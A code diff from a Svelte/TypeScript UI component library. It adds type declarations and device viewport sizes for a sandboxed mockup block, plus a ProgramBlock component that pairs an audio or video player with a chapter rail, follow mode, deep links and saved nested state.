89
+ });
90
+ export const mockupSchema = z.preprocess(inheritBlockDevice, mockupSchemaBase);
@@ -0,0 +1,36 @@
1
+ /**
2
+ * mockup param types (mos-vzame) — the hand-written mirror of the zod schema
3
+ * in block.ts. The def annotates `schema: z.ZodType<MockupParams>`, so drift
4
+ * between schema and these interfaces is a compile error, and the Svelte
5
+ * component imports types WITHOUT importing the def module (block.ts imports
6
+ * the component; the edge must stay one-way).
7
+ */
8
+ /** Display widths, device-pixel viewports, and the largest on-screen frame. */
9
+ export type MockupDims = {
10
+ w: number;
11
+ h: number;
12
+ maxFrameW: number;
13
+ };
14
+ export type MockupDevice = "phone" | "tablet" | "desktop";
15
+ /**
16
+ * Device-pixel viewport each frame renders. The frame scales the iframe down
17
+ * to its on-screen width (see MockupBlock.svelte), so the layout INSIDE the
18
+ * frame is laid out at the real device width, not the column width.
19
+ */
20
+ export declare const MOCKUP_DIMS: Record<MockupDevice, MockupDims>;
21
+ export type MockupVariant = {
22
+ id: string;
23
+ label?: string | undefined;
24
+ /** Which device frame this variant renders in. Default "phone". */
25
+ device: MockupDevice;
26
+ /** HTML fragment or full document, rendered verbatim in the sandbox. */
27
+ html: string;
28
+ };
29
+ export type MockupParams = {
30
+ title?: string | undefined;
31
+ intro?: string | undefined;
32
+ /** Allow scripts inside the sandboxed frame. Default false. */
33
+ allowScripts?: boolean | undefined;
34
+ /** One or more mockups, rendered side by side. */
35
+ variants: MockupVariant[];
36
+ };
@@ -0,0 +1,17 @@
1
+ /**
2
+ * mockup param types (mos-vzame) — the hand-written mirror of the zod schema
3
+ * in block.ts. The def annotates `schema: z.ZodType<MockupParams>`, so drift
4
+ * between schema and these interfaces is a compile error, and the Svelte
5
+ * component imports types WITHOUT importing the def module (block.ts imports
6
+ * the component; the edge must stay one-way).
7
+ */
8
+ /**
9
+ * Device-pixel viewport each frame renders. The frame scales the iframe down
10
+ * to its on-screen width (see MockupBlock.svelte), so the layout INSIDE the
11
+ * frame is laid out at the real device width, not the column width.
12
+ */
13
+ export const MOCKUP_DIMS = {
14
+ phone: { w: 390, h: 844, maxFrameW: 320 },
15
+ tablet: { w: 834, h: 1112, maxFrameW: 460 },
16
+ desktop: { w: 1440, h: 900, maxFrameW: 760 },
17
+ };
@@ -0,0 +1,359 @@
1
+ <script lang="ts">
2
+ /**
3
+ * ProgramBlock — the daily newspaper/podcast surface: a brief (audio or
4
+ * video) whose chapter rail plays live on the right while the active
5
+ * chapter's visual renders between the player and the transcript.
6
+ *
7
+ * The player owns the hard parts (jatui VideoPlayer ≥0.32): the timeline
8
+ * band with chapter flags, the click-to-seek transcript, and the opt-in
9
+ * `chapterRail: 'side'` pane — active row tracking the playhead, progress
10
+ * fill, played checks, replay affordance, listNav keys. This block adds
11
+ * only what the page knows:
12
+ *
13
+ * - the visual panel in the player's `belowStage` slot: the shown
14
+ * chapter's nested block instance (any registered type) + its detail
15
+ * markdown, swapped with a keyed fade (reduced-motion safe);
16
+ * - FOLLOW mode (default on) tracks the active chapter as audio plays;
17
+ * the panel header says "Now playing". Clicking a rail row pins that
18
+ * chapter, and a "Back to now playing" button returns to auto;
19
+ * - ONE timeline: `transport="band"` puts play/pause, time, speed and
20
+ * volume on the band (no native control bar), and audio renders no
21
+ * stage at all (`kind="audio"`, jatui ≥0.33);
22
+ * - nested interactive state (a decision/checklist/picker visual's
23
+ * picks) persists through THIS block's ctx.saveState under a
24
+ * `visuals` map keyed by the nested block id, and seeds the nested
25
+ * BlockRenderer on load;
26
+ * - deep links: `?t=` via the player's syncUrlTime; `#chapter-<id>`
27
+ * seeks through the player's seekToTime() and shows the chapter.
28
+ *
29
+ * Every string renders as text or through the shared sanitized markdown
30
+ * renderer; media is by URL (https:// or root-relative, validated by
31
+ * urlSchema).
32
+ */
33
+ import { onDestroy, onMount } from "svelte"
34
+ import VideoPlayer, { type VideoChapter } from "../../../components/VideoPlayer.svelte"
35
+ import BlockRenderer from "../../BlockRenderer.svelte"
36
+ import type { BlockProps, BlockState } from "../../types.js"
37
+ import {
38
+ chapterAt,
39
+ programSchema,
40
+ STATUS_DOT,
41
+ STATUS_LABEL,
42
+ toVideoChapters,
43
+ toVideoSegments,
44
+ type ProgramParams,
45
+ } from "./schema.js"
46
+ import { renderBlockMarkdown } from "../markdown/render.js"
47
+ import { formatClock } from "../transcript/schema.js"
48
+
49
+ /** SSR vs browser, without a SvelteKit import (jatui is host-agnostic). */
50
+ const browser = typeof window !== "undefined"
51
+
52
+ let { params: rawParams, ctx }: BlockProps<ProgramParams> = $props()
53
+
54
+ /** Parsed params (defaults filled); corrupt params → empty state. The host
55
+ * validates at publish, so this is belt-and-braces for direct mounts. */
56
+ const EMPTY_PARAMS: ProgramParams = {
57
+ media: { src: "https://example.invalid/none.mp3", type: "audio" },
58
+ segments: [],
59
+ chapters: [],
60
+ }
61
+ const parsed = $derived(programSchema.safeParse(rawParams))
62
+ const params = $derived(parsed.success ? parsed.data : EMPTY_PARAMS)
63
+
64
+ const playable = $derived(
65
+ params.segments.length > 0 && params.chapters.length > 0,
66
+ )
67
+ /** Audio renders NO stage (there is no picture): the player is the band
68
+ * plus its transport row. Video keeps its stage at its intrinsic ratio. */
69
+ const kind = $derived<"audio" | "video">(
70
+ params.media.type === "video" ? "video" : "audio",
71
+ )
72
+ const vSegments = $derived(toVideoSegments(params.segments))
73
+ const vChapters = $derived(toVideoChapters(params.chapters, params.segments))
74
+ /** Rail-row index → chapter: the player reports the SORTED index. */
75
+ const sortedChapters = $derived(
76
+ params.chapters.slice().sort((a, b) => a.start - b.start),
77
+ )
78
+ const hasSrc = $derived(params.media.src !== "" && playable)
79
+ const firstChapter = $derived(sortedChapters[0] ?? null)
80
+
81
+ const resumeKey = $derived(`artifact:${ctx.artifactId}:${ctx.blockId}`)
82
+
83
+ // ── follow / pin ─────────────────────────────────────────────────────
84
+ let follow = $state(true)
85
+ let pinnedId = $state<string | null>(null)
86
+ let currentTime = $state(0)
87
+ /** The player instance — bandState/seekToTime exports live here. */
88
+ let player: ReturnType<typeof VideoPlayer> | null = $state(null)
89
+
90
+ const activeChapter = $derived(chapterAt(params.chapters, currentTime))
91
+ /** The chapter the panel shows: the active one while following, else the pin. */
92
+ const shownChapter = $derived(
93
+ follow || !pinnedId
94
+ ? activeChapter
95
+ : (params.chapters.find((c) => c.id === pinnedId) ?? activeChapter),
96
+ )
97
+ const shownId = $derived(shownChapter?.id ?? null)
98
+
99
+ /** Rail row click: pin the picked chapter (the rail itself keeps
100
+ * time-tracking — the pin only affects the visual panel). */
101
+ function selectChapter(_ch: VideoChapter, index: number) {
102
+ const c = sortedChapters[index]
103
+ if (!c) return
104
+ pinnedId = c.id
105
+ follow = false
106
+ }
107
+
108
+ function toggleFollow() {
109
+ if (follow) {
110
+ // Turning follow off pins what is on screen right now.
111
+ pinnedId = activeChapter?.id ?? pinnedId
112
+ follow = false
113
+ } else {
114
+ follow = true
115
+ pinnedId = null
116
+ }
117
+ }
118
+
119
+ // ── deep links (?t= rides the player's syncUrlTime) ─────────────────
120
+ function chapterFromHash(): string | null {
121
+ if (!location.hash.startsWith("#chapter-")) return null
122
+ return decodeURIComponent(location.hash.slice("#chapter-".length)) || null
123
+ }
124
+
125
+ function seekToChapterId(id: string | null): boolean {
126
+ if (!id) return false
127
+ const ch = params.chapters.find((c) => c.id === id)
128
+ if (!ch) return false
129
+ currentTime = ch.start
130
+ player?.seekToTime?.(ch.start)
131
+ return true
132
+ }
133
+
134
+ function onHashChange() {
135
+ seekToChapterId(chapterFromHash())
136
+ }
137
+
138
+ onMount(() => {
139
+ if (!browser) return
140
+ const hashId = chapterFromHash()
141
+ if (hashId) {
142
+ seekToChapterId(hashId)
143
+ } else {
144
+ const t = new URL(location.href).searchParams.get("t")
145
+ if (t != null && t !== "") {
146
+ const sec = Number(t)
147
+ if (Number.isFinite(sec) && sec >= 0) currentTime = sec
148
+ }
149
+ }
150
+ window.addEventListener("hashchange", onHashChange)
151
+ })
152
+ onDestroy(() => {
153
+ if (browser) window.removeEventListener("hashchange", onHashChange)
154
+ })
155
+
156
+ // ── nested visual state (picks persist through THIS block's state) ──
157
+ interface ProgramState extends BlockState {
158
+ visuals?: Record<string, BlockState>
159
+ }
160
+ let visualState = $state<Record<string, BlockState>>({})
161
+ // Seed once from the viewer's saved state (only when there is any). The
162
+ // outer renderer's state arrives as a $state proxy — snapshot before the
163
+ // structuredClone.
164
+ let seeded = false
165
+ $effect(() => {
166
+ if (seeded) return
167
+ const saved = (ctx.state as ProgramState | null)?.visuals
168
+ if (saved && typeof saved === "object") {
169
+ visualState = structuredClone($state.snapshot(saved))
170
+ seeded = true
171
+ }
172
+ })
173
+
174
+ /** The nested BlockRenderer's save hook: merge into this block's state. */
175
+ async function saveVisualState(payload: {
176
+ kind: "blocks"
177
+ blocks: Record<string, unknown>
178
+ }) {
179
+ visualState = { ...visualState, ...payload.blocks }
180
+ // Snapshot before handing it up: a $state proxy must never cross the
181
+ // renderer boundary (the DataCloneError class of bug — mos-yntqm); the
182
+ // outer renderer stores $state.snapshot of what it receives.
183
+ const next: ProgramState = { visuals: $state.snapshot(visualState) }
184
+ await ctx.saveState?.(next)
185
+ }
186
+
187
+ const nestedId = $derived(shownId ? `visual-${shownId}` : null)
188
+ const nestedSpec = $derived.by(() => {
189
+ const v = shownChapter?.visual
190
+ if (!v || !nestedId) return null
191
+ return {
192
+ version: 1 as const,
193
+ title: "",
194
+ blocks: [{ id: nestedId, type: v.type, params: v.params }],
195
+ }
196
+ })
197
+
198
+ /** Nested state flows through only when this surface can save at all. */
199
+ const nestedCanSave = $derived(!ctx.readonly && ctx.saveState != null)
200
+
201
+ const detailHtml = $derived(
202
+ shownChapter?.detail ? renderBlockMarkdown(shownChapter.detail) : null,
203
+ )
204
+ </script>
205
+
206
+ <section class="artifact-program w-full">
207
+ {#if params.title || params.note}
208
+ <header class="mb-3">
209
+ {#if params.title}
210
+ <h2 class="text-base font-semibold text-base-content">
211
+ {params.title}
212
+ </h2>
213
+ {/if}
214
+ {#if params.note}
215
+ <p class="mt-1 max-w-prose text-sm text-base-content/70">
216
+ {params.note}
217
+ </p>
218
+ {/if}
219
+ </header>
220
+ {/if}
221
+
222
+ {#if hasSrc}
223
+ <VideoPlayer
224
+ bind:this={player}
225
+ src={params.media.src}
226
+ {kind}
227
+ transport="band"
228
+ poster={params.media.poster || null}
229
+ aspect={null}
230
+ transcript={vSegments}
231
+ chapters={vChapters}
232
+ transcriptPosition="below"
233
+ transcriptMaxHeight="24rem"
234
+ chapterRail="side"
235
+ onChapterSelect={selectChapter}
236
+ onTimeUpdate={(v) => (currentTime = v.currentTime)}
237
+ syncUrlTime
238
+ {resumeKey}
239
+ belowStage={panel}
240
+ />
241
+
242
+ {#snippet panel()}
243
+ {#if shownChapter}
244
+ <div
245
+ class="program-panel rounded-box border border-base-content/10 bg-base-100"
246
+ role="region"
247
+ aria-label="Chapter: {shownChapter.title}"
248
+ >
249
+ <header
250
+ class="flex flex-wrap items-center gap-x-2 gap-y-1 px-4 pt-3 pb-2"
251
+ >
252
+ {#if shownChapter.status}
253
+ <span
254
+ class="size-2 shrink-0 rounded-full {STATUS_DOT[
255
+ shownChapter.status
256
+ ]}"
257
+ aria-hidden="true"
258
+ ></span>
259
+ <span class="sr-only">{STATUS_LABEL[shownChapter.status]}:</span>
260
+ {/if}
261
+ <span class="text-xs tabular-nums text-base-content/60">
262
+ {formatClock(shownChapter.start)}
263
+ </span>
264
+ <h3 class="min-w-0 flex-1 text-sm font-semibold text-base-content">
265
+ {shownChapter.title}
266
+ </h3>
267
+ {#if follow}
268
+ <span
269
+ class="program-follow flex items-center gap-1.5 text-xs text-base-content/60"
270
+ >
271
+ <span
272
+ class="program-live size-1.5 rounded-full bg-primary"
273
+ aria-hidden="true"
274
+ ></span>
275
+ Now playing
276
+ </span>
277
+ {:else}
278
+ <button
279
+ type="button"
280
+ class="program-follow btn btn-ghost btn-xs rounded-field text-primary"
281
+ onclick={toggleFollow}
282
+ >
283
+ Back to now playing
284
+ </button>
285
+ {/if}
286
+ </header>
287
+ {#if shownId}
288
+ {#key shownId}
289
+ <div class="program-panel-body px-4 pb-4">
290
+ {#if detailHtml}
291
+ <!-- Sanitized by renderBlockMarkdown — the contract's one {@html} path. -->
292
+ <div
293
+ class="program-detail prose prose-sm max-w-prose text-base-content/80"
294
+ >
295
+ {@html detailHtml}
296
+ </div>
297
+ {:else if !nestedSpec && shownChapter.summary}
298
+ <p class="max-w-prose text-sm text-base-content/70">
299
+ {shownChapter.summary}
300
+ </p>
301
+ {/if}
302
+ {#if nestedSpec}
303
+ <div class={detailHtml ? "mt-3" : ""}>
304
+ <BlockRenderer
305
+ spec={nestedSpec}
306
+ artifactId={ctx.artifactId}
307
+ version={ctx.version}
308
+ savedBlocks={$state.snapshot(visualState)}
309
+ onSaveBlock={nestedCanSave ? saveVisualState : undefined}
310
+ readonly={ctx.readonly}
311
+ data={ctx.data}
312
+ />
313
+ </div>
314
+ {/if}
315
+ </div>
316
+ {/key}
317
+ {/if}
318
+ </div>
319
+ {:else if firstChapter}
320
+ <p class="px-1 text-sm text-base-content/60">
321
+ The first chapter, {firstChapter.title}, starts at {formatClock(
322
+ firstChapter.start,
323
+ )}.
324
+ </p>
325
+ {/if}
326
+ {/snippet}
327
+ {:else if !playable}
328
+ <p class="text-sm text-base-content/60">
329
+ No chapters published for this program block.
330
+ </p>
331
+ {/if}
332
+ </section>
333
+
334
+ <style>
335
+ /* The keyed panel swap: a short opacity/lift-in. Every state also reads
336
+ statically (content is simply there), so reduced motion drops the move
337
+ and keeps the meaning. */
338
+ .program-panel-body {
339
+ animation: program-panel-in var(--motion-fast, 150ms)
340
+ var(--motion-glide, ease-out);
341
+ }
342
+
343
+ @keyframes program-panel-in {
344
+ from {
345
+ opacity: 0;
346
+ transform: translateY(3px);
347
+ }
348
+ to {
349
+ opacity: 1;
350
+ transform: none;
351
+ }
352
+ }
353
+
354
+ @media (prefers-reduced-motion: reduce) {
355
+ .program-panel-body {
356
+ animation: none;
357
+ }
358
+ }
359
+ </style>